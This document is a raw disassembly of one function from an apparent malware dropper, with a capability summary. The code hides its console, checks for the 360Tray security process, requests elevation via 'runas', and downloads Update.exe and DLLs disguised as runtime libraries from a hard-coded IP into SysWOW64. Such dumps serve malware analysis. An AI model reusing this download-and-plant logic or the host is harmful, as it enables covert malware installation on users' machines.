Function at 0x401bcb
Capabilities:
Create process on windows
Hide graphical window
Schedule task via at

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
call fcn.0040f910
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.00401530
xor eax, 1
test al, al
je 0x401c20
mov ecx, 1
call sub.msvcrt.dll_exit
call fcn.00401557
test al, al
je 0x4020f5
lea rcx, str.360Tray.exe
call fcn.00401aee
test al, al
je 0x401e9b
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.004691d0
lea rax, [rbp + 0x1e0]
lea r8, str.C:WindowsSysWOW64mfc100u.dll
lea rdx, str.http:__206.238.42.232:280_mfc100u.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x1f0]
lea r8, str.C:WindowsSysWOW64msvcp100.dll
lea rdx, str.http:__206.238.42.232:280_msvcp100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x200]
lea r8, str.C:WindowsSysWOW64msvcr100.dll
lea rdx, str.http:__206.238.42.232:280_msvcr100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x200]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x210]
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.http:__206.238.42.232:280_Update.exe
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x210]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x220]
lea r8, str.C:WindowsSysWOW64XLUE.dll
lea rdx, str.http:__206.238.42.232:280_XLUE.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00469120
mov qword [rbp + 0x1b0], rax
jmp 0x401e4e
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax]
mov qword [rbp + 0x370], rax
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax + 8]
mov qword [rbp + 0x368], rax
mov rdx, qword [rbp + 0x368]
mov rax, qword [rbp + 0x370]
mov rcx, rax
call fcn.0040164b
test al, al
je 0x401dfc
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x370]
mov rdx, rax
call fcn.00470d10
lea rdx, str._dfhd
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
jmp 0x401e3f
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x370]
mov rdx, rax
call fcn.00470d10
lea rdx, str._gfjfkkfk.
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00424020
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.004690f0
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x230]
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00424de0
test al, al
jne 0x401d6a
call fcn.004018fe
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.004691f0
jmp 0x402687
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.004691d0
lea rax, [rbp + 0x240]
lea r8, str.C:WindowsSysWOW64mfc100u.dll
lea rdx, str.http:__206.238.42.232:280_mfc100u.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x250]
lea r8, str.C:WindowsSysWOW64msvcp100.dll
lea rdx, str.http:__206.238.42.232:280_msvcp100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x250]
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x260]
lea r8, str.C:WindowsSysWOW64msvcr100.dll
lea rdx, str.http:__206.238.42.232:280_msvcr100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x260]
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x270]
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.http:__206.238.42.232:280_Update.exe
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x280]
lea r8, str.C:WindowsSysWOW64XLUE.dll
lea rdx, str.http:__206.238.42.232:280_XLUE.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00469120
mov qword [rbp + 0x180], rax
jmp 0x4020a8
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax + 8]
mov qword [rbp + 0x358], rax
mov rdx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
mov rcx, rax
call fcn.0040164b
test al, al
je 0x402056
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x360]
mov rdx, rax
call fcn.00470d10
lea rdx, str._dfhd
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
jmp 0x402099
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x360]
mov rdx, rax
call fcn.00470d10
lea rdx, str._gfjfkkfk.
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00424020
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.004690f0
mov qword [rbp + 0x290], rax
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00424de0
test al, al
jne 0x401fc4
call fcn.00401973
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.004691f0
jmp 0x402687
lea rax, [rbp + 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov eax, 0x70
mov dword [rbp - 0x60], eax
mov dword [rbp - 0x5c], 0x40
lea rax, str.runas
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x30], 5
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
sete al
test al, al
je 0x402192
lea rdx, str.asdfgh
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
mov eax, 1
jmp 0x402702
mov rax, qword [rbp + 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
call fcn.00401557
test al, al
je 0x402687
lea rcx, str.360Tray.exe
call fcn.00401aee
test al, al
je 0x402432
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004691d0
lea rax, [rbp + 0x2a0]
lea r8, str.C:WindowsSysWOW64mfc100u.dll
lea rdx, str.http:__206.238.42.232:280_mfc100u.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x2a0]
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x2b0]
lea r8, str.C:WindowsSysWOW64msvcp100.dll
lea rdx, str.http:__206.238.42.232:280_msvcp100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x2c0]
lea r8, str.C:WindowsSysWOW64msvcr100.dll
lea rdx, str.http:__206.238.42.232:280_msvcr100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x2c0]
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x2d0]
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.http:__206.238.42.232:280_Update.exe
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x2d0]
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x2e0]
lea r8, str.C:WindowsSysWOW64XLUE.dll
lea rdx, str.http:__206.238.42.232:280_XLUE.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x2e0]
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.00469120
mov qword [rbp + 0x150], rax
jmp 0x4023e5
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax]
mov qword [rbp + 0x390], rax
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax + 8]
mov qword [rbp + 0x388], rax
mov rdx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x390]
mov rcx, rax
call fcn.0040164b
test al, al
je 0x402393
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x390]
mov rdx, rax
call fcn.00470d10
lea rdx, str._dfhd
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
jmp 0x4023d6
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x390]
mov rdx, rax
call fcn.00470d10
lea rdx, str._gfjfkkfk.
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.00424020
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004690f0
mov qword [rbp + 0x2f0], rax
lea rdx, [rbp + 0x2f0]
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.00424de0
test al, al
jne 0x402301
call fcn.004018fe
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004691f0
jmp 0x402687
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.004691d0
lea rax, [rbp + 0x300]
lea r8, str.C:WindowsSysWOW64mfc100u.dll
lea rdx, str.http:__206.238.42.232:280_mfc100u.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x300]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x310]
lea r8, str.C:WindowsSysWOW64msvcp100.dll
lea rdx, str.http:__206.238.42.232:280_msvcp100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x320]
lea r8, str.C:WindowsSysWOW64msvcr100.dll
lea rdx, str.http:__206.238.42.232:280_msvcr100.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x330]
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.http:__206.238.42.232:280_Update.exe
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x330]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x340]
lea r8, str.C:WindowsSysWOW64XLUE.dll
lea rdx, str.http:__206.238.42.232:280_XLUE.dll
mov rcx, rax
call fcn.004701e0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469150
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.00469120
mov qword [rbp + 0x120], rax
jmp 0x40263f
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.00425cf0
mov rax, qword [rax + 8]
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
mov rcx, rax
call fcn.0040164b
test al, al
je 0x4025ed
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x380]
mov rdx, rax
call fcn.00470d10
lea rdx, str._dfhd
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
jmp 0x402630
lea rdx, str.asaguaiugh
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x380]
mov rdx, rax
call fcn.00470d10
lea rdx, str._gfjfkkfk.
mov rcx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.00424020
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.004690f0
mov qword [rbp + 0x350], rax
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.00424de0
test al, al
jne 0x40255b
call fcn.00401973
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.004691f0
mov eax, 0
jmp 0x402702
add rsp, 0x420
pop rbx
pop rdi
pop rbp
ret